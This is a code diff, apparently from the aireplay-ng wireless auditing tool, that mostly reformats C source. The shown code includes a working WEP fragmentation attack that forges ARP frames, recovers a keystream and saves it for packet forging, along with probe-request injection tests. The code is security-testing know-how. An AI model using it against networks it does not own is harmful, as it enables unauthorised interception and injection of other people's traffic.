+		{
+			// That's the LLC NULL packet!
+			//             PCT; printf("That's our LLC Null packet!\n");
+			memset(h80211 + 24, '\x00', 416);
+		}
+
+		memcpy(iv, packet + z, 4);
+		memcpy(prga, packet + z + 4, 384);
+		xor_keystream(prga, h80211 + 24, 384);
+
+		round = 0;
+		again = RETRY;
+		while (again == RETRY)
+		{
+			again = 0;
+
+			PCT;
+			printf("Trying to get 1500 bytes of a keystream\n");
+
+			make_arp_request(h80211,
+							 opt.f_bssid,
+							 opt.r_smac,
+							 opt.r_dmac,
+							 opt.r_sip,
+							 opt.r_dip,
+							 1500);
+			arplen = 1500;
+			if ((round % 2) == 1)
+			{
+				PCT;
+				printf("Trying a LLC NULL packet\n");
+				memset(h80211 + 24, '\x00', 1508);
+				arplen += 32;
+			}
+
+			acksgot = 0;
+			packets = (arplen - 24) / (300);
+			if ((arplen - 24) % (300) != 0) packets++;
+
+			send_fragments(h80211, arplen, iv, prga, 300, 0);
+			//            //Plus an ACK
+			//            send_packet(ack, 10);
+
+			gettimeofday(&tv, NULL);
+
+			gotit = 0;
+			while (!gotit) // waiting for relayed packet
+			{
+				caplen = read_packet(packet, sizeof(packet), NULL);
+				z = ((packet[1] & 3) != 3) ? 24 : 30;
+				if ((packet[0] & 0x80) == 0x80) /* QoS */
+					z += 2;
+
+				if (packet[0] == 0xD4)
+				{
+					if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
+						acksgot++;
+					continue;
+				}
+
+				if ((packet[0] & 0x08)
+					&& ((packet[1] & 0x40)
+						== 0x40)) // Is data frame && encrypted
+				{
+					if ((packet[1] & 2)) // Is a FromDS packet with valid IV
+					{
+						if (!memcmp(opt.r_dmac, packet + 4, 6)) // To our MAC
+						{
+							if (!memcmp(
+									opt.r_smac, packet + 16, 6)) // From our MAC
+							{
+								if (caplen - z > 1496 - 24) // Is short enough
+								{
+									// This is our relayed packet!
+									PCT;
+									printf("Got RELAYED packet!!\n");
+									gotit = 1;
+									isrelay = 1;
+								}
+							}
+						}
+					}
+				}
+
+				/* check if we got an deauthentication packet */
 
-    return( 0 );
+				if (packet[0] == 0xC0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
+				{
+					PCT;
+					printf("Got a deauthentication packet!\n");
+					read_sleep(5 * 1000000); // sleep 5 seconds and ignore all
+					// frames in this period
+				}
+
+				/* check if we got an disassociation packet */
+
+				if (packet[0] == 0xA0 && memcmp(packet + 4, opt.r_smac, 6) == 0)
+				{
+					PCT;
+					printf("Got a disassociation packet!\n");
+					read_sleep(5 * 1000000); // sleep 5 seconds and ignore all
+					// frames in this period
+				}
+
+				gettimeofday(&tv2, NULL);
+				if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
+					 + (tv2.tv_usec - tv.tv_usec))
+						> (100 * 1000)
+					&& acksgot > 0
+					&& acksgot < packets) // wait 100ms for acks
+				{
+					PCT;
+					printf("Not enough acks, repeating...\n");
+					again = RETRY;
+					break;
+				}
+
+				if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
+					 + (tv2.tv_usec - tv.tv_usec))
+						> (1500 * 1000)
+					&& !gotit) // wait 1500ms for an answer
+				{
+					PCT;
+					printf("No answer, repeating...\n");
+					round++;
+					again = RETRY;
+					if (round > 10)
+					{
+						printf(
+							"Still nothing, quitting with 384 bytes? [y/n] \n");
+						fflush(stdout);
+						ret = 0;
+						while (!ret) ret = scanf("%1s", tmpbuf);
+
+						printf("\n");
+
+						if (tmpbuf[0] == 'y' || tmpbuf[0] == 'Y')
+							again = ABORT;
+						else
+							again = NEW_IV;
+					}
+					break;
+				}
+			}
+		}
+
+		if (again == NEW_IV) continue;
+
+		if (again == ABORT)
+			length = 408;
+		else
+			length = 1500;
+
+		make_arp_request(h80211,
+						 opt.f_bssid,
+						 opt.r_smac,
+						 opt.r_dmac,
+						 opt.r_sip,
+						 opt.r_dip,
+						 length);
+		if (caplen == length + 8 + z)
+		{
+			// That's the ARP packet!
+			//             PCT; printf("That's our ARP packet!\n");
+		}
+		if (caplen == length + 16 + z)
+		{
+			// That's the LLC NULL packet!
+			//             PCT; printf("That's our LLC Null packet!\n");
+			memset(h80211 + 24, '\x00', length + 8);
+		}
+
+		if (again != ABORT)
+		{
+			memcpy(iv, packet + z, 4);
+			memcpy(prga, packet + z + 4, length);
+			xor_keystream(prga, h80211 + 24, length);
+		}
+
+		lt = localtime((const time_t *) &tv.tv_sec);
+
+		memset(strbuf, 0, sizeof(strbuf));
+		snprintf(strbuf,
+				 sizeof(strbuf) - 1,
+				 "fragment-%02d%02d-%02d%02d%02d.xor",
+				 lt->tm_mon + 1,
+				 lt->tm_mday,
+				 lt->tm_hour,
+				 lt->tm_min,
+				 lt->tm_sec);
+		save_prga(strbuf, iv, prga, length);
+
+		printf("Saving keystream in %s\n", strbuf);
+		printf("Now you can build a packet with packetforge-ng out of that %d "
+			   "bytes keystream\n",
+			   length);
+
+		done = 1;
+	}
+
+	return (0);
 }
 
-int grab_essid(unsigned char* packet, int len)
+static int grab_essid(unsigned char * packet, int len)
 {
-    int i=0, j=0, pos=0, tagtype=0, taglen=0, chan=0;
-    unsigned char bssid[6];
+	int i = 0, j = 0, pos = 0, tagtype = 0, taglen = 0, chan = 0;
+	unsigned char bssid[6];
 
-    memcpy(bssid, packet+16, 6);
-    taglen = 22;    //initial value to get the fixed tags parsing started
-    taglen+= 12;    //skip fixed tags in frames
-    do
-    {
-        pos    += taglen + 2;
-        tagtype = packet[pos];
-        taglen  = packet[pos+1];
-    } while(tagtype != 3 && pos < len-2);
-
-    if(tagtype != 3) return -1;
-    if(taglen != 1) return -1;
-    if(pos+2+taglen > len) return -1;
-
-    chan = packet[pos+2];
-
-    pos=0;
-
-    taglen = 22;    //initial value to get the fixed tags parsing started
-    taglen+= 12;    //skip fixed tags in frames
-    do
-    {
-        pos    += taglen + 2;
-        tagtype = packet[pos];
-        taglen  = packet[pos+1];
-    } while(tagtype != 0 && pos < len-2);
-
-    if(tagtype != 0) return -1;
-    if(taglen > 250) taglen = 250;
-    if(pos+2+taglen > len) return -1;
+	memcpy(bssid, packet + 16, 6);
+	taglen = 22; // initial value to get the fixed tags parsing started
+	taglen += 12; // skip fixed tags in frames
+	do
+	{
+		pos += taglen + 2;
+		tagtype = packet[pos];
+		taglen = packet[pos + 1];
+	} while (tagtype != 3 && pos < len - 2);
+
+	if (tagtype != 3) return -1;
+	if (taglen != 1) return -1;
+	if (pos + 2 + taglen > len) return -1;
+
+	chan = packet[pos + 2];
+
+	pos = 0;
+
+	taglen = 22; // initial value to get the fixed tags parsing started
+	taglen += 12; // skip fixed tags in frames
+	do
+	{
+		pos += taglen + 2;
+		tagtype = packet[pos];
+		taglen = packet[pos + 1];
+	} while (tagtype != 0 && pos < len - 2);
+
+	if (tagtype != 0) return -1;
+	if (taglen > 250) taglen = 250;
+	if (pos + 2 + taglen > len) return -1;
 
-    for(i=0; i<20; i++)
-    {
-        if( ap[i].set)
-        {
-            if( memcmp(bssid, ap[i].bssid, 6) == 0 )    //got it already
-            {
-                if(packet[0] == 0x50 && !ap[i].found)
-                {
-                    ap[i].found++;
-                }
-                if(ap[i].chan == 0) ap[i].chan=chan;
-                break;
-            }
-        }
-        if(ap[i].set == 0)
-        {
-            for(j=0; j<taglen; j++)
-            {
-                if(packet[pos+2+j] < 32 || packet[pos+2+j] > 127)
-                {
-                    return -1;
-                }
-            }
-
-            ap[i].set = 1;
-            ap[i].len = taglen;
-            memcpy(ap[i].essid, packet+pos+2, taglen);
-            ap[i].essid[taglen] = '\0';
-            memcpy(ap[i].bssid, bssid, 6);
-            ap[i].chan = chan;
-            if(packet[0] == 0x50) ap[i].found++;
-            return 0;
-        }
-    }
-    return -1;
+	for (i = 0; i < MAX_APS; i++)
+	{
+		if (ap[i].set)
+		{
+			if (memcmp(bssid, ap[i].bssid, 6) == 0) // got it already
+			{
+				if (packet[0] == 0x50 && !ap[i].found)
+				{
+					ap[i].found++;
+				}
+				if (ap[i].chan == 0) ap[i].chan = chan;
+				break;
+			}
+		}
+		if (ap[i].set == 0)
+		{
+			for (j = 0; j < taglen; j++)
+			{
+				if (packet[pos + 2 + j] < 32 || packet[pos + 2 + j] > 127)
+				{
+					return -1;
+				}
+			}
+
+			ap[i].set = 1;
+			ap[i].len = taglen;
+			memcpy(ap[i].essid, packet + pos + 2, taglen);
+			ap[i].essid[taglen] = '\0';
+			memcpy(ap[i].bssid, bssid, 6);
+			ap[i].chan = chan;
+			if (packet[0] == 0x50) ap[i].found++;
+			return 0;
+		}
+	}
+	return -1;
 }
 
-static int get_ip_port(char *iface, char *ip, const int ip_size)
+static int get_ip_port(char * iface, char * ip, const int ip_size)
 {
-	char *host;
-	char *ptr;
+	char * host;
+	char * ptr;
 	int port = -1;
 	struct in_addr addr;
 
-	host = strdup(iface);
-	if (!host)
+	if (iface == NULL || iface[0] == 0)
+	{
 		return -1;
+	}
+
+	host = strdup(iface);
+	if (!host) return -1;
 
 	ptr = strchr(host, ':');
-	if (!ptr)
-		goto out;
+	if (!ptr) goto out;
 
 	*ptr++ = 0;
 
-	if (!inet_aton(host, (struct in_addr *)&addr))
+	if (!inet_aton(host, (struct in_addr *) &addr))
 		goto out; /* XXX resolve hostname */
 
-	if(strlen(host) > 15)
-        {
-            port = -1;
-            goto out;
-        }
+	if (strlen(host) > 15)
+	{
+		port = -1;
+		goto out;
+	}
 	strncpy(ip, host, ip_size);
 	port = atoi(ptr);
-        if(port <= 0) port = -1;
+	if (port <= 0) port = -1;
 
 out:
 	free(host);
 	return port;
 }
 
-void dump_packet(unsigned char* packet, int len)
+struct net_hdr
 {
-    int i=0;
-
-    for(i=0; i<len; i++)
-    {
-        if(i>0 && i%4 == 0)printf(" ");
-        if(i>0 && i%16 == 0)printf("\n");
-        printf("%02X ", packet[i]);
-    }
-    printf("\n\n");
-}
-
-struct net_hdr {
-	uint8_t		nh_type;
-	uint32_t	nh_len;
-	uint8_t		nh_data[0];
+	uint8_t nh_type;
+	uint32_t nh_len;
+	uint8_t nh_data[0];
 } __packed;
 
-int tcp_test(const char* ip_str, const short port)
+static int tcp_test(const char * ip_str, const short port)
 {
-    int sock, i;
-    struct sockaddr_in s_in;
-    int packetsize = 1024;
-    unsigned char packet[packetsize];
-    struct timeval tv, tv2, tv3;
-    int caplen = 0;
-    int times[REQUESTS];
-    int min, avg, max, len;
-    struct net_hdr nh;
-
-    tv3.tv_sec=0;
-    tv3.tv_usec=1;
-
-    s_in.sin_family = PF_INET;
-    s_in.sin_port = htons(port);
-    if (!inet_aton(ip_str, &s_in.sin_addr))
-            return -1;
+	int sock, i;
+	struct sockaddr_in s_in;
+	int packetsize = 1024;
+	unsigned char packet[packetsize];
+	struct timeval tv, tv2, tv3;
+	int caplen = 0;
+	int times[REQUESTS];
+	int min, avg, max, len;
+	struct net_hdr nh;
+
+	tv3.tv_sec = 0;
+	tv3.tv_usec = 1;
+
+	memset(&s_in, 0, sizeof(struct sockaddr_in));
+	s_in.sin_family = PF_INET;
+	s_in.sin_port = htons(port);
+	if (!inet_aton(ip_str, &s_in.sin_addr)) return -1;
 
-    if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
-            return -1;
+	if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
+		return -1;
 
-    /* avoid blocking on reading the socket */
-    if( fcntl( sock, F_SETFL, O_NONBLOCK ) < 0 )
-    {
-        perror( "fcntl(O_NONBLOCK) failed" );
-        close(sock);
-        return( 1 );
-    }
+	/* avoid blocking on reading the socket */
+	if (fcntl(sock, F_SETFL, O_NONBLOCK) < 0)
+	{
+		perror("fcntl(O_NONBLOCK) failed");
+		close(sock);
+		return (1);
+	}
 
-    gettimeofday( &tv, NULL );
+	gettimeofday(&tv, NULL);
 
-    while (1)  //waiting for relayed packet
-    {
-        if (connect(sock, (struct sockaddr*) &s_in, sizeof(s_in)) == -1)
-        {
-            if(errno != EINPROGRESS && errno != EALREADY)
-            {
-                perror("connect");
-                close(sock);
-
-                printf("Failed to connect\n");
-
-                return -1;
-            }
-        }
-        else
-        {
-            gettimeofday( &tv2, NULL );
-            break;
-        }
-
-        gettimeofday( &tv2, NULL );
-        //wait 3000ms for a successful connect
-        if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (3000*1000))
-        {
-            printf("Connection timed out\n");
-            close(sock);
-            return(-1);
-        }
-        usleep(10);
-    }
+	while (1) // waiting for relayed packet
+	{
+		if (connect(sock, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
+		{
+			if (errno != EINPROGRESS && errno != EALREADY)
+			{
+				perror("connect");
+				close(sock);
 
-    PCT; printf("TCP connection successful\n");
+				printf("Failed to connect\n");
 
-    //trying to identify airserv-ng
-    memset(&nh, 0, sizeof(nh));
-//     command: GET_CHAN
-    nh.nh_type	= 2;
-    nh.nh_len	= htonl(0);
+				return -1;
+			}
+		}
+		else
+		{
+			gettimeofday(&tv2, NULL);
+			break;
+		}
 
-    if (send(sock, &nh, sizeof(nh), 0) != sizeof(nh))
-    {
-        perror("send");
-        close(sock);
-        return -1;
-    }
+		gettimeofday(&tv2, NULL);
+		// wait 3000ms for a successful connect
+		if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
+			 + (tv2.tv_usec - tv.tv_usec))
+			> (3000 * 1000))
+		{
+			printf("Connection timed out\n");
+			close(sock);
+			return (-1);
+		}
+		usleep(10);
+	}
 
-    gettimeofday( &tv, NULL );
-    i=0;
+	PCT;
+	printf("TCP connection successful\n");
 
-    while (1)  //waiting for GET_CHAN answer
-    {
-        caplen = read(sock, &nh, sizeof(nh));
+	// trying to identify airserv-ng
+	memset(&nh, 0, sizeof(nh));
+	//     command: GET_CHAN
+	nh.nh_type = 2;
+	nh.nh_len = htonl(0);
 
-        if(caplen == -1)
-        {
-            if( errno != EAGAIN )
-            {
-                perror("read");
-                close(sock);
-                return -1;
-            }
-        }
-
-        if(caplen > 0 && (unsigned)caplen == sizeof(nh))
-        {
-            len = ntohl(nh.nh_len);
-            if (len <= packetsize && len > 0)
-            {
-                if( nh.nh_type == 1 && i==0 )
-                {
-                    i=1;
-                    caplen = read(sock, packet, len);
-                    if(caplen == len)
-                    {
-                        i=2;
-                        break;
-                    }
-                    else
-                    {
-                        i=0;
-                    }
-                }
-                else
-                {
-                    caplen = read(sock, packet, len);
-                }
-            }
-        }
-
-        gettimeofday( &tv2, NULL );
-        //wait 1000ms for an answer
-        if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1000*1000))
-        {
-            break;
-        }
-        if(caplen == -1)
-            usleep(10);
-    }
+	if (send(sock, &nh, sizeof(nh), 0) != sizeof(nh))
+	{
+		perror("send");
+		close(sock);
+		return -1;
+	}
 
-    if(i==2)
-    {
-        PCT; printf("airserv-ng found\n");
-    }
-    else
-    {
-        PCT; printf("airserv-ng NOT found\n");
-    }
+	gettimeofday(&tv, NULL);
+	i = 0;
 
-    close(sock);
+	while (1) // waiting for GET_CHAN answer
+	{
+		caplen = read(sock, &nh, sizeof(nh));
 
-    for(i=0; i<REQUESTS; i++)
-    {
-        if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
-                return -1;
+		if (caplen == -1)
+		{
+			if (errno != EAGAIN)
+			{
+				perror("read");
+				close(sock);
+				return -1;
+			}
+		}
 
-        /* avoid blocking on reading the socket */
-        if( fcntl( sock, F_SETFL, O_NONBLOCK ) < 0 )
-        {
-            perror( "fcntl(O_NONBLOCK) failed" );
-            close(sock);
-            return( 1 );
-        }
-
-        usleep(1000);
-
-        gettimeofday( &tv, NULL );
-
-        while (1)  //waiting for relayed packet
-        {
-            if (connect(sock, (struct sockaddr*) &s_in, sizeof(s_in)) == -1)
-            {
-                if(errno != EINPROGRESS && errno != EALREADY)
-                {
-                    perror("connect");
-                    close(sock);
-
-                    printf("Failed to connect\n");
-
-                    return -1;
-                }
-            }
-            else
-            {
-                gettimeofday( &tv2, NULL );
-                break;
-            }
-
-            gettimeofday( &tv2, NULL );
-            //wait 1000ms for a successful connect
-            if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1000*1000))
-            {
-                break;
-            }
-            //simple "high-precision" usleep
-            select(1, NULL, NULL, NULL, &tv3);
-        }
-        times[i] = ((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec));
-        printf( "\r%d/%d\r", i, REQUESTS);
-        fflush(stdout);
-        close(sock);
-    }
+		if (caplen > 0 && (unsigned) caplen == sizeof(nh))
+		{
+			len = ntohl(nh.nh_len);
+			if (len <= packetsize && len > 0)
+			{
+				if (nh.nh_type == 1 && i == 0)
+				{
+					i = 1;
+					caplen = read(sock, packet, len);
+					if (caplen == len)
+					{
+						i = 2;
+						break;
+					}
+					else
+					{
+						i = 0;
+					}
+				}
+				else
+				{
+					caplen = read(sock, packet, len);
+				}
+			}
+		}
 
-    min = INT_MAX;
-    avg = 0;
-    max = 0;
+		gettimeofday(&tv2, NULL);
+		// wait 1000ms for an answer
+		if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
+			 + (tv2.tv_usec - tv.tv_usec))
+			> (1000 * 1000))
+		{
+			break;
+		}
+		if (caplen == -1) usleep(10);
+	}
 
-    for(i=0; i<REQUESTS; i++)
-    {
-        if(times[i] < min) min = times[i];
-        if(times[i] > max) max = times[i];
-        avg += times[i];
-    }
-    avg /= REQUESTS;
+	if (i == 2)
+	{
+		PCT;
+		printf("airserv-ng found\n");
+	}
+	else
+	{
+		PCT;
+		printf("airserv-ng NOT found\n");
+	}
+
+	close(sock);
+
+	for (i = 0; i < REQUESTS; i++)
+	{
+		if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
+			return -1;
+
+		/* avoid blocking on reading the socket */
+		if (fcntl(sock, F_SETFL, O_NONBLOCK) < 0)
+		{
+			perror("fcntl(O_NONBLOCK) failed");
+			close(sock);
+			return (1);
+		}
+
+		usleep(1000);
+
+		gettimeofday(&tv, NULL);
+
+		while (1) // waiting for relayed packet
+		{
+			if (connect(sock, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
+			{
+				if (errno != EINPROGRESS && errno != EALREADY)
+				{
+					perror("connect");
+					close(sock);
+
+					printf("Failed to connect\n");
+
+					return -1;
+				}
+			}
+			else
+			{
+				gettimeofday(&tv2, NULL);
+				break;
+			}
+
+			gettimeofday(&tv2, NULL);
+			// wait 1000ms for a successful connect
+			if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
+				 + (tv2.tv_usec - tv.tv_usec))
+				> (1000 * 1000))
+			{
+				break;
+			}
+			// simple "high-precision" usleep
+			select(1, NULL, NULL, NULL, &tv3);
+		}
+		times[i] = ((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+					+ (tv2.tv_usec - tv.tv_usec));
+		printf("\r%d/%d\r", i, REQUESTS);
+		fflush(stdout);
+		close(sock);
+	}
 
-    PCT; printf("ping %s:%d (min/avg/max): %.3fms/%.3fms/%.3fms\n", ip_str, port, min/
+	min = INT_MAX;
+	avg = 0;
+	max = 0;
+
+	for (i = 0; i < REQUESTS; i++)
+	{
+		if (times[i] < min) min = times[i];
+		if (times[i] > max) max = times[i];
+		avg += times[i];
+	}
+	avg /= REQUESTS;
+
+	PCT;
+	printf("ping %s:%d (min/avg/max): %.3fms/%.3fms/%.3fms\n",
+		   ip_str,
+		   port,
+		   min /
 #if defined(__x86_64__) && defined(__CYGWIN__)
-	(0.0f + 1000), avg/(0.0f + 1000), max/(0.0f + 1000));
+			   (0.0f + 1000),
+		   avg / (0.0f + 1000),
+		   max / (0.0f + 1000));
 #else
-	1000.0, avg/1000.0, max/1000.0);
+			   1000.0,
+		   avg / 1000.0,
+		   max / 1000.0);
 #endif
 
-    return 0;
+	return 0;
 }
 
-int do_attack_test()
+static int do_attack_test(void)
 {
-    unsigned char packet[4096];
-    struct timeval tv, tv2, tv3;
-    int len=0, i=0, j=0, k=0;
-    int gotit=0, answers=0, found=0;
-    int caplen=0, essidlen=0;
-    unsigned int min, avg, max;
-    int ret=0;
-    float avg2;
-    struct rx_info ri;
-    unsigned long atime=200;  //time in ms to wait for answer packet (needs to be higher for airserv)
-    unsigned char nulldata[1024];
+	unsigned char packet[4096];
+	struct timeval tv, tv2, tv3;
+	int len = 0, j = 0, k = 0;
+	int gotit = 0, answers = 0, found = 0;
+	int caplen = 0, essidlen = 0;
+	unsigned int min, avg, max, i = 0;
+	int ret = 0;
+	float avg2;
+	struct rx_info ri;
+	unsigned long atime = 200; // time in ms to wait for answer packet (needs to
+	// be higher for airserv)
+	unsigned char nulldata[1024];
 
-    if(opt.port_out > 0)
-    {
-        atime += 200;
-        PCT; printf("Testing connection to injection device %s\n", opt.iface_out);
-        ret = tcp_test(opt.ip_out, opt.port_out);
-        if(ret != 0)
-        {
-            return( 1 );
-        }
-        printf("\n");
-
-        /* open the replay interface */
-        _wi_out = wi_open(opt.iface_out);
-        if (!_wi_out)
-            return 1;
-        printf("\n");
-        dev.fd_out = wi_fd(_wi_out);
-        wi_get_mac(_wi_out, dev.mac_out);
-        if(opt.s_face == NULL)
-        {
-            _wi_in = _wi_out;
-            dev.fd_in = dev.fd_out;
-
-            /* XXX */
-            dev.arptype_in = dev.arptype_out;
-            wi_get_mac(_wi_in, dev.mac_in);
-        }
-    }
+	if (opt.port_out > 0)
+	{
+		atime += 200;
+		PCT;
+		printf("Testing connection to injection device %s\n", opt.iface_out);
+		ret = tcp_test(opt.ip_out, opt.port_out);
+		if (ret != 0)
+		{
+			return (1);
+		}
+		printf("\n");
 
-    if(opt.s_face && opt.port_in > 0)
-    {
-        atime += 200;
-        PCT; printf("Testing connection to capture device %s\n", opt.s_face);
-        ret = tcp_test(opt.ip_in, opt.port_in);
-        if(ret != 0)
-        {
-            return( 1 );
-        }
-        printf("\n");
-
-        /* open the packet source */
-        _wi_in = wi_open(opt.s_face);
-        if (!_wi_in)
-            return 1;
-        dev.fd_in = wi_fd(_wi_in);
-        wi_get_mac(_wi_in, dev.mac_in);
-        printf("\n");
-    }
-    else if(opt.s_face && opt.port_in <= 0)
-    {
-        _wi_in = wi_open(opt.s_face);
-        if (!_wi_in)
-            return 1;
-        dev.fd_in = wi_fd(_wi_in);
-        wi_get_mac(_wi_in, dev.mac_in);
-        printf("\n");
-    }
+		/* open the replay interface */
+		_wi_out = wi_open(opt.iface_out);
+		if (!_wi_out) return 1;
+		printf("\n");
+		dev.fd_out = wi_fd(_wi_out);
+		wi_get_mac(_wi_out, dev.mac_out);
+		if (opt.s_face == NULL)
+		{
+			_wi_in = _wi_out;
+			dev.fd_in = dev.fd_out;
+
+			/* XXX */
+			dev.arptype_in = dev.arptype_out;
+			wi_get_mac(_wi_in, dev.mac_in);
+		}
+	}
 
-    if(opt.port_in <= 0)
-    {
-        /* avoid blocking on reading the socket */
-        if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 )
-        {
-            perror( "fcntl(O_NONBLOCK) failed" );
-            return( 1 );
-        }
-    }
+	if (opt.s_face && opt.port_in > 0)
+	{
+		atime += 200;
+		PCT;
+		printf("Testing connection to capture device %s\n", opt.s_face);
+		ret = tcp_test(opt.ip_in, opt.port_in);
+		if (ret != 0)
+		{
+			return (1);
+		}
+		printf("\n");
 
-    if(getnet(NULL, 0, 0) != 0)
-        return 1;
+		/* open the packet source */
+		_wi_in = wi_open(opt.s_face);
+		if (!_wi_in) return 1;
+		dev.fd_in = wi_fd(_wi_in);
+		wi_get_mac(_wi_in, dev.mac_in);
+		printf("\n");
+	}
+	else if (opt.s_face && opt.port_in <= 0)
+	{
+		_wi_in = wi_open(opt.s_face);
+		if (!_wi_in) return 1;
+		dev.fd_in = wi_fd(_wi_in);
+		wi_get_mac(_wi_in, dev.mac_in);
+		printf("\n");
+	}
 
-    srand( time( NULL ) );
+	if (opt.port_in <= 0)
+	{
+		/* avoid blocking on reading the socket */
+		if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
+		{
+			perror("fcntl(O_NONBLOCK) failed");
+			return (1);
+		}
+	}
 
-    memset(ap, '\0', 20*sizeof(struct APt));
+	if (getnet(NULL, 0, 0) != 0) return 1;
 
-    essidlen = strlen(opt.r_essid);
-    if( essidlen > 250) essidlen = 250;
+	srand(time(NULL));
 
-    if( essidlen > 0 )
-    {
-        ap[0].set = 1;
-        ap[0].found = 0;
-        ap[0].len = essidlen;
-        memcpy(ap[0].essid, opt.r_essid, essidlen);
-        ap[0].essid[essidlen] = '\0';
-        memcpy(ap[0].bssid, opt.r_bssid, 6);
-        found++;
-    }
+	memset(ap, '\0', sizeof(ap));
 
-    if(opt.bittest)
-        set_bitrate(_wi_out, RATE_1M);
+	essidlen = strlen(opt.r_essid);
+	if (essidlen > 250) essidlen = 250;
 
-    PCT; printf("Trying broadcast probe requests...\n");
+	if (essidlen > 0)
+	{
+		ap[0].set = 1;
+		ap[0].found = 0;
+		ap[0].len = essidlen;
+		memcpy(ap[0].essid, opt.r_essid, essidlen);
+		ap[0].essid[essidlen] = '\0';
+		memcpy(ap[0].bssid, opt.r_bssid, 6);
+		found++;
+	}
 
-    memcpy(h80211, PROBE_REQ, 24);
+	if (opt.bittest) set_bitrate(_wi_out, RATE_1M);
 
-    len = 24;
+	PCT;
+	printf("Trying broadcast probe requests...\n");
 
-    h80211[24] = 0x00;      //ESSID Tag Number
-    h80211[25] = 0x00;      //ESSID Tag Length
+	memcpy(h80211, PROBE_REQ, 24);
 
-    len += 2;
+	len = 24;
 
-    memcpy(h80211+len, RATES, 16);
+	h80211[24] = 0x00; // ESSID Tag Number
+	h80211[25] = 0x00; // ESSID Tag Length
 
-    len += 16;
+	len += 2;
 
-    gotit=0;
-    answers=0;
-    for(i=0; i<3; i++)
-    {
-        /*
-            random source so we can identify our packets
-        */
-        opt.r_smac[0] = 0x00;
-        opt.r_smac[1] = rand() & 0xFF;
-        opt.r_smac[2] = rand() & 0xFF;
-        opt.r_smac[3] = rand() & 0xFF;
-        opt.r_smac[4] = rand() & 0xFF;
-        opt.r_smac[5] = rand() & 0xFF;
-
-        memcpy(h80211+10, opt.r_smac, 6);
-
-        send_packet(h80211, len);
-
-        gettimeofday( &tv, NULL );
-
-        while (1)  //waiting for relayed packet
-        {
-            caplen = read_packet(packet, sizeof(packet), &ri);
-
-            if (packet[0] == 0x50 ) //Is probe response
-            {
-                if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC
-                {
-                    if(grab_essid(packet, caplen) == 0 && (!memcmp(opt.r_bssid, NULL_MAC, 6)))
-                    {
-                        found++;
-                    }
-                    if(!answers)
-                    {
-                        PCT; printf("Injection is working!\n");
-                        if(opt.fast) return 0;
-                        gotit=1;
-                        answers++;
-                    }
-                }
-            }
-
-            if (packet[0] == 0x80 ) //Is beacon frame
-            {
-                if(grab_essid(packet, caplen) == 0 && (!memcmp(opt.r_bssid, NULL_MAC, 6)))
-                {
-                    found++;
-                }
-            }
-
-            gettimeofday( &tv2, NULL );
-            if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (3*atime*1000)) //wait 'atime'ms for an answer
-            {
-                break;
-            }
-        }
-    }
-    if(answers == 0)
-    {
-        PCT; printf("No Answer...\n");
-    }
+	memcpy(h80211 + len, RATES, 16);
 
-    PCT; printf("Found %d AP%c\n", found, ((found == 1) ? ' ' : 's' ) );
+	len += 16;
 
-    if(found > 0)
-    {
-        printf("\n");
-        PCT; printf("Trying directed probe requests...\n");
-    }
+	gotit = 0;
+	answers = 0;
+	for (i = 0; i < 3; i++)
+	{
+		/*
+			random source so we can identify our packets
+		*/
+		opt.r_smac[0] = 0x00;
+		opt.r_smac[1] = rand() & 0xFF;
+		opt.r_smac[2] = rand() & 0xFF;
+		opt.r_smac[3] = rand() & 0xFF;
+		opt.r_smac[4] = rand() & 0xFF;
+		opt.r_smac[5] = rand() & 0xFF;
+
+		memcpy(h80211 + 10, opt.r_smac, 6);
+
+		send_packet(h80211, len);
+
+		gettimeofday(&tv, NULL);
+
+		while (1) // waiting for relayed packet
+		{
+			caplen = read_packet(packet, sizeof(packet), &ri);
+
+			if (packet[0] == 0x50) // Is probe response
+			{
+				if (!memcmp(opt.r_smac, packet + 4, 6)) // To our MAC
+				{
+					if (grab_essid(packet, caplen) == 0
+						&& (!memcmp(opt.r_bssid, NULL_MAC, 6)))
+					{
+						found++;
+					}
+					if (!answers)
+					{
+						PCT;
+						printf("Injection is working!\n");
+						if (opt.fast) return 0;
+						gotit = 1;
+						answers++;
+					}
+				}
+			}
 
-    for(i=0; i<found; i++)
-    {
-        if(wi_get_channel(_wi_out) != ap[i].chan)
-        {
-            wi_set_channel(_wi_out, ap[i].chan);
-        }
-
-        if(wi_get_channel(_wi_in) != ap[i].chan)
-        {
-            wi_set_channel(_wi_in, ap[i].chan);
-        }
-
-        PCT; printf("%02X:%02X:%02X:%02X:%02X:%02X - channel: %d - \'%s\'\n", ap[i].bssid[0], ap[i].bssid[1],
-                    ap[i].bssid[2], ap[i].bssid[3], ap[i].bssid[4], ap[i].bssid[5], ap[i].chan, ap[i].essid);
-
-        ap[i].found=0;
-        min = INT_MAX;
-        max = 0;
-        avg = 0;
-        avg2 = 0;
-
-        memcpy(h80211, PROBE_REQ, 24);
-
-        len = 24;
-
-        h80211[24] = 0x00;      //ESSID Tag Number
-        h80211[25] = ap[i].len; //ESSID Tag Length
